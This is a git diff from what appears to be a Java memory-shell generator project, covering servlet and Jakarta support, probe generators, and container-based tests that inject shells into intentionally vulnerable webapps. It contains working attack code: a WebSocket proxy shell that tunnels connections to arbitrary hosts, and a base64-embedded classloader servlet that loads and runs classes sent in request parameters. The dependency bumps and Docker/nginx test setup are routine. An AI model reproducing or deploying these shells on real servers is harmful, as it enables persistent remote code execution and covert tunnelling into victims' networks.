+ + private void readFromServer(Session channel, AsynchronousSocketChannel client) { + this.currentClient = client; + buffer.clear(); + client.read(buffer, channel, this); + } + + private void process(ByteBuffer messageBuffer, Session channel) { + try { + if (messageCount > 1) { + AsynchronousSocketChannel client = channelMap.get(channel.getId()); + client.write(messageBuffer).get(); + readFromServer(channel, client); + } else if (messageCount == 1) { + String values = new String(messageBuffer.array()); + String[] array = values.split(" "); + String[] addrArray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int port = Integer.parseInt(addrArray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + channelMap.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java index 8b448583..ba988e19 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java @@ -1,8 +1,6 @@ package com.reajason.javaweb.probe.config; -import lombok.AllArgsConstructor; import lombok.Getter; -import lombok.NoArgsConstructor; import lombok.ToString; import lombok.experimental.SuperBuilder; diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java index 22deb638..847b48ba 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java @@ -9,7 +9,6 @@ import com.reajason.javaweb.probe.payload.ServerProbe; import com.reajason.javaweb.probe.payload.dns.DnsLogJdk; import com.reajason.javaweb.probe.payload.dns.DnsLogServer; -import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import net.bytebuddy.dynamic.DynamicType; diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java index 24066a14..67736a56 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java @@ -7,7 +7,6 @@ import com.reajason.javaweb.probe.config.SleepConfig; import com.reajason.javaweb.probe.payload.ServerProbe; import com.reajason.javaweb.probe.payload.sleep.SleepServer; -import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import net.bytebuddy.dynamic.DynamicType; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java index 8f9e052a..2c98c76e 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java @@ -92,4 +92,25 @@ void testValue() { assertTrue(referencedClasses.contains("com/bes/enterprise/webtier/Valve")); assertFalse(referencedClasses.contains("org/apache/catalina/Valve")); } + + @Test + @SneakyThrows + void testJakartaServlet(){ + byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL"); + String className = CommonUtil.generateClassName(); + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellType(ShellType.SERVLET) + .build(); + CustomConfig customConfig = CustomConfig.builder() + .shellClassName(className) + .shellClassBase64(Base64.getEncoder().encodeToString(bytes)) + .build(); + byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes(); + ClassReader classReader = new ClassReader(bytes1); + ClassReferenceVisitor classVisitor = new ClassReferenceVisitor(); + classReader.accept(classVisitor, 0); + Set referencedClasses = classVisitor.getReferencedClasses(); + assertTrue(referencedClasses.contains("jakarta/servlet/Servlet")); + } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java index 7d773fa9..20a56475 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java @@ -9,11 +9,9 @@ import net.bytebuddy.dynamic.DynamicType; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; -import org.junit.platform.commons.util.ReflectionUtils; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; - import java.lang.reflect.Method; import static org.junit.jupiter.api.Assertions.assertEquals; diff --git a/generator/src/test/java/com/reajason/javaweb/probe/payload/ScriptEngineProbeTest.java b/generator/src/test/java/com/reajason/javaweb/probe/payload/ScriptEngineProbeTest.java index 79ee259b..46f8c24e 100644 --- a/generator/src/test/java/com/reajason/javaweb/probe/payload/ScriptEngineProbeTest.java +++ b/generator/src/test/java/com/reajason/javaweb/probe/payload/ScriptEngineProbeTest.java @@ -2,7 +2,7 @@ import org.junit.jupiter.api.Test; -import static org.junit.jupiter.api.Assertions.*; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 7f1b0c65..7ae26478 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -1,29 +1,31 @@ [versions] -asm = "9.9" +asm = "9.9.1" jna = "5.13.0" # 为适配 JDK6+ 这个不可修改 bcel = "5.2" javax-servlet-api = "3.0.1" +jakarta-servlet-api = "5.0.0" javax-websocket-api = "1.1" +jakarta-websocket-api = "2.2.0" spring-webmvc = "5.3.24" spring-webflux = "5.3.24" reactor-netty = "1.1.25" jackson = "2.19.0" jetbrains-annotations = "26.0.2" -byte-buddy = "1.18.2" +byte-buddy = "1.18.4" commons-io = "2.21.0" commons-lang3 = "3.20.0" commons-codec = "1.20.0" -logback = "1.5.22" +logback = "1.5.24" okhttp3 = "5.3.2" fastjson2 = "2.0.60" java-websocket = "1.6.0" mockito = "5.20.0" hamcrest = "3.0" -junit-jupiter = "5.14.1" +junit-jupiter = "5.14.2" junit-pioneer = "2.3.0" -junit-platform = "1.14.1" +junit-platform = "1.14.2" testcontainers = "2.0.3" [libraries] @@ -32,7 +34,10 @@ asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" } jna = { module = "net.java.dev.jna:jna", version.ref = "jna" } jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" } javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" } +jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" } javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" } +jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"} +jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"} spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" } spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" } reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" } @@ -63,5 +68,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"] testcontainers = ["testcontainers", "testcontainers-junit-jupiter"] [plugins] -lombok = { id = "io.freefair.lombok", version = "8.14.2" } -shadow = { id = "com.gradleup.shadow", version = "9.0.2"} \ No newline at end of file +lombok = { id = "io.freefair.lombok", version = "9.2.0" } +shadow = { id = "com.gradleup.shadow", version = "9.3.1"} \ No newline at end of file diff --git a/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11-nginx.yaml b/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11-nginx.yaml new file mode 100644 index 00000000..79b6f8d0 --- /dev/null +++ b/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11-nginx.yaml @@ -0,0 +1,13 @@ +services: + tomcat: + image: tomcat:10.1-jre11 + volumes: + - ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war + nginx: + image: nginx:latest + ports: + - "80:80" + volumes: + - ./nginx.conf:/etc/nginx/nginx.conf:ro + depends_on: + - tomcat \ No newline at end of file diff --git a/integration-test/docker-compose/tomcat/docker-compose-8-jre8-nginx.yaml b/integration-test/docker-compose/tomcat/docker-compose-8-jre8-nginx.yaml new file mode 100644 index 00000000..ae01e26c --- /dev/null +++ b/integration-test/docker-compose/tomcat/docker-compose-8-jre8-nginx.yaml @@ -0,0 +1,13 @@ +services: + tomcat: + image: tomcat:8-jre8 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war + nginx: + image: nginx:latest + ports: + - "80:80" + volumes: + - ./nginx.conf:/etc/nginx/nginx.conf:ro + depends_on: + - tomcat \ No newline at end of file diff --git a/integration-test/docker-compose/tomcat/nginx.conf b/integration-test/docker-compose/tomcat/nginx.conf new file mode 100644 index 00000000..f7a34420 --- /dev/null +++ b/integration-test/docker-compose/tomcat/nginx.conf @@ -0,0 +1,58 @@ +user nginx; +worker_processes auto; + +error_log /var/log/nginx/error.log notice; +pid /var/run/nginx.pid; + +events { + worker_connections 1024; +} + +http { + include /etc/nginx/mime.types; + default_type application/octet-stream; + + log_format main '$remote_addr - $remote_user [$time_local] "$request" ' + '$status $body_bytes_sent "$http_referer" ' + '"$http_user_agent" "$http_x_forwarded_for"'; + + access_log /var/log/nginx/access.log main; + + sendfile on; + tcp_nopush on; + keepalive_timeout 65; + gzip on; + + upstream tomcat_backend { + server tomcat:8080; + } + + server { + listen 80; + server_name localhost; + access_log /var/log/nginx/tomcat_access.log; + error_log /var/log/nginx/tomcat_error.log; + client_max_body_size 50M; + + location / { + proxy_pass http://tomcat_backend; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_connect_timeout 60s; + proxy_send_timeout 60s; + proxy_read_timeout 60s; + proxy_buffering on; + proxy_buffer_size 4k; + proxy_buffers 8 4k; + proxy_busy_buffers_size 8k; + } + + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } + } +} \ No newline at end of file diff --git a/integration-test/script/bes_pid.sh b/integration-test/script/bes_pid.sh deleted file mode 100755 index fc979244..00000000 --- a/integration-test/script/bes_pid.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/bash -pgrep -f 'ASMain|GlassFishMain' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/AbstractContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/AbstractContainerTest.java new file mode 100644 index 00000000..3c541844 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/AbstractContainerTest.java @@ -0,0 +1,258 @@ +package com.reajason.javaweb.integration; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Assumptions; +import org.junit.jupiter.api.TestInstance; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.EnumSource; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; + +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.util.List; +import java.util.Map; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2025/9/19 + */ +@Slf4j +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +public abstract class AbstractContainerTest { + private static final String NO_PROBE = "__NO_PROBE__"; + + protected static Network newNetwork() { + return Network.newNetwork(); + } + + protected static GenericContainer buildPythonContainer(Network network) { + return new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(ContainerTool.neoGeorgDockerfile)) + .withNetwork(network); + } + + protected static GenericContainer buildContainer(ContainerTestConfig config, Network network) { + GenericContainer container = createContainer(config); + if (config.getWarFile() != null && StringUtils.isNotBlank(config.getWarDeployPath())) { + container.withCopyToContainer(config.getWarFile(), config.getWarDeployPath()); + } + if(config.getJarFile() != null && StringUtils.isNotBlank(config.getJarDeployPath())){ + container.withCopyToContainer(config.getJarFile(), config.getJarDeployPath()); + } + if (config.getJattachFile() != null) { + container.withCopyToContainer(config.getJattachFile(), "/jattach"); + } + if (config.getPidScript() != null) { + container.withCopyToContainer(config.getPidScript(), "/fetch_pid.sh"); + } + Map env = config.getEnv(); + if (env != null) { + env.forEach(container::withEnv); + } + if (network != null) { + container.withNetwork(network); + if (StringUtils.isNotBlank(config.getNetworkAlias())) { + container.withNetworkAliases(config.getNetworkAlias()); + } + } + if (config.getWaitStrategy() != null) { + container.waitingFor(config.getWaitStrategy()); + } else if (StringUtils.isNotBlank(config.getHealthCheckPath())) { + container.waitingFor(Wait.forHttp(config.getHealthCheckPath())); + } + container.withExposedPorts(config.getExposedPort()); + if (config.isPrivilegedMode()) { + container.withPrivilegedMode(true); + } + if(config.getCommand() != null){ + container.withCommand(config.getCommand()); + } + return container; + } + + protected static GenericContainer buildContainer(ContainerTestConfig config) { + return buildContainer(config, null); + } + + protected abstract ContainerTestConfig getConfig(); + + @AfterAll + void tearDown() { + GenericContainer container = getContainer(); + if (container == null) { + return; + } + long logDelayMillis = getConfig().getLogDelayMillis(); + if (logDelayMillis > 0) { + try { + Thread.sleep(logDelayMillis); + } catch (InterruptedException ex) { + Thread.currentThread().interrupt(); + } + } + String logs = container.getLogs(); + if (getConfig().isLogContainerOutput()) { + log.info(logs); + } + if (getConfig().isAssertLogs()) { + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + runShellInject(getConfig(), shellType, shellTool, packer); + } + + @ParameterizedTest + @MethodSource("probeShellTypesProvider") + void testProbeInject(String shellType) { + if (NO_PROBE.equals(shellType)) { + Assumptions.assumeTrue(false, "No probe shell types configured."); + } + runProbeInject(getConfig(), shellType); + } + + @ParameterizedTest + @EnumSource(names = {"ClassLoaderJSP", "ClassLoaderJSPUnicode", "DefineClassJSP", "DefineClassJSPUnicode", "JSPX", "JSPXUnicode"}) + void testJspPackers(Packers packer) { + ContainerTestConfig config = getConfig(); + if (config.isEnableJspPackerTest()) { + String shellType = config.isJakarta() ? ShellType.JAKARTA_FILTER : ShellType.FILTER; + String shellTool = ShellTool.Command; + runShellInject(config, shellType, shellTool, packer); + } + } + + protected Stream casesProvider() { + return generateTestCases(getConfig()); + } + + protected Stream probeShellTypesProvider() { + List probeShellTypes = getConfig().getProbeShellTypes(); + if (probeShellTypes == null || probeShellTypes.isEmpty()) { + return Stream.of(NO_PROBE); + } + return probeShellTypes.stream(); + } + + protected static Stream generateTestCases(ContainerTestConfig config) { + if (config.getUnSupportedCases() != null || config.getUnSupportedShellTools() != null) { + return TestCasesProvider.getTestCases( + config.getImageName(), + config.getServer(), + config.getSupportedShellTypes(), + config.getTestPackers(), + config.getUnSupportedCases(), + config.getUnSupportedShellTools()); + } + return TestCasesProvider.getTestCases( + config.getImageName(), + config.getServer(), + config.getSupportedShellTypes(), + config.getTestPackers()); + } + + protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) { + String url = getUrl(); + if (StringUtils.isNotBlank(config.getServerVersion())) { + ShellAssertion.shellInjectIsOk(url, config.getServer(), config.getServerVersion(), shellType, shellTool, + config.getTargetJdkVersion(), packer, getContainer(), getPythonContainer()); + } else { + ShellAssertion.shellInjectIsOk(url, config.getServer(), shellType, shellTool, + config.getTargetJdkVersion(), packer, getContainer(), getPythonContainer()); + } + } + + protected void runProbeInject(ContainerTestConfig config, String shellType) { + String url = getUrl(); + int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null + ? config.getTargetJdkVersion() + : config.getProbeTargetJdkVersion(); + if (StringUtils.isNotBlank(config.getServerVersion())) { + ShellAssertion.testProbeInject(url, config.getServer(), config.getServerVersion(), shellType, probeTargetJdkVersion); + } else { + ShellAssertion.testProbeInject(url, config.getServer(), shellType, probeTargetJdkVersion); + } + } + + protected String getUrl() { + GenericContainer container = getContainer(); + ContainerTestConfig config = getConfig(); + String host = container.getHost(); + int port = container.getMappedPort(config.getExposedPort()); + String url = "http://" + host + ":" + port; + String contextPath = config.getContextPath(); + if (StringUtils.isNotBlank(contextPath)) { + if (!contextPath.startsWith("/")) { + contextPath = "/" + contextPath; + } + url += contextPath; + } + log.info("container started, app url is : {}", url); + return url; + } + + protected GenericContainer getContainer() { + return getContainerField("container", true); + } + + protected GenericContainer getPythonContainer() { + return getContainerField("python", false); + } + + private static GenericContainer createContainer(ContainerTestConfig config) { + if (config.getDockerfilePath() != null) { + return new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(config.getDockerfilePath())); + } + if (StringUtils.isBlank(config.getImageName())) { + throw new IllegalArgumentException("imageName is required when dockerfilePath is not set."); + } + return new GenericContainer<>(config.getImageName()); + } + + private GenericContainer getContainerField(String fieldName, boolean required) { + Field field = findField(getClass(), fieldName); + if (field == null) { + if (required) { + throw new IllegalStateException("Missing @" + fieldName + " container on " + getClass().getName()); + } + return null; + } + try { + field.setAccessible(true); + Object value = field.get(Modifier.isStatic(field.getModifiers()) ? null : this); + return (GenericContainer) value; + } catch (IllegalAccessException ex) { + throw new IllegalStateException("Unable to access " + fieldName + " on " + getClass().getName(), ex); + } + } + + private static Field findField(Class type, String name) { + Class current = type; + while (current != null) { + try { + return current.getDeclaredField(name); + } catch (NoSuchFieldException ex) { + current = current.getSuperclass(); + } + } + return null; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTestConfig.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTestConfig.java new file mode 100644 index 00000000..ca5f6e4a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTestConfig.java @@ -0,0 +1,147 @@ +package com.reajason.javaweb.integration; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.packer.Packers; +import lombok.Builder; +import lombok.Getter; +import net.bytebuddy.jar.asm.Opcodes; +import org.apache.commons.lang3.tuple.Triple; +import org.testcontainers.containers.wait.strategy.WaitStrategy; +import org.testcontainers.utility.MountableFile; + +import java.nio.file.Path; +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/9/19 + */ +@Getter +@Builder +public class ContainerTestConfig { + private final String imageName; + private final Path dockerfilePath; + private final String command; + + private final String server; + private final String serverVersion; + @Builder.Default + private final int targetJdkVersion = Opcodes.V1_8; + private final Integer probeTargetJdkVersion; + + @Builder.Default + private final int exposedPort = 8080; + @Builder.Default + private final String contextPath = "/app"; + @Builder.Default + private final String healthCheckPath = "/app"; + private final WaitStrategy waitStrategy; + + private final MountableFile warFile; + private final String warDeployPath; + + private final MountableFile jarFile; + private final String jarDeployPath; + + @Builder.Default + private final MountableFile jattachFile = ContainerTool.jattachFile; + private final MountableFile pidScript; + + private final List supportedShellTypes; + private final List testPackers; + private final List probeShellTypes; + private final List> unSupportedCases; + private final List unSupportedShellTools; + + @Builder.Default + private final boolean assertLogs = true; + @Builder.Default + private final boolean logContainerOutput = true; + @Builder.Default + private final long logDelayMillis = 0L; + @Builder.Default + private final boolean privilegedMode = false; + @Builder.Default + private final String networkAlias = "app"; + private final Map env; + @Builder.Default + private final boolean jakarta = false; + @Builder.Default + private final boolean enableJspPackerTest = true; + + public static ContainerTestConfigBuilder tomcat(String imageName) { + return builder() + .imageName(imageName) + .server(Server.Tomcat) + .warFile(ContainerTool.warFile) + .warDeployPath("/usr/local/tomcat/webapps/app.war") + .pidScript(ContainerTool.tomcatPid); + } + + public static ContainerTestConfigBuilder jetty(String imageName) { + return builder() + .imageName(imageName) + .server(Server.Jetty) + .warFile(ContainerTool.warFile) + .warDeployPath("/var/lib/jetty/webapps/app.war") + .pidScript(ContainerTool.jettyPid); + } + + public static ContainerTestConfigBuilder resin(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.Resin) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath) + .pidScript(ContainerTool.resinPid); + } + + public static ContainerTestConfigBuilder jboss(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.JBoss) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath) + .pidScript(ContainerTool.jbossPid); + } + + public static ContainerTestConfigBuilder undertow(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.Undertow) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath) + .pidScript(ContainerTool.jbossPid); + } + + public static ContainerTestConfigBuilder glassFish(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.GlassFish) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath) + .pidScript(ContainerTool.glassfishPid); + } + + public static ContainerTestConfigBuilder webLogic(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.WebLogic) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath) + .pidScript(ContainerTool.weblogicPid) + .exposedPort(7001); + } + + public static ContainerTestConfigBuilder webSphere(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.WebSphere) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath) + .pidScript(ContainerTool.webspherePid) + .exposedPort(9080) + .privilegedMode(true); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index ce2a63d1..25ada484 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -18,22 +18,23 @@ public class ContainerTool { public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666); public static final MountableFile struct2WarFile = 